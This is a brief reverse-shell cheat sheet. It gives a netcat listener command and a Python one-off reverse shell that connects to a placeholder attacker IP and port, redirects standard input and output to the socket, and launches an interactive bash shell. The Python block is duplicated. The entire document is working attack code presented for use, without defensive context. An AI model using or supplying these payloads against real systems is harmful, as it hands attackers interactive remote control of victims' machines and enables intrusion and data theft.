NetCat
Used to create the listening connection on your own machine for the reverse shells to connect to.
> nc -lvp <port_num>
Python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("Your.Machine.Ip", Your_NetCat_Port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("Your.Machine.Ip", Your_NetCat_Port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])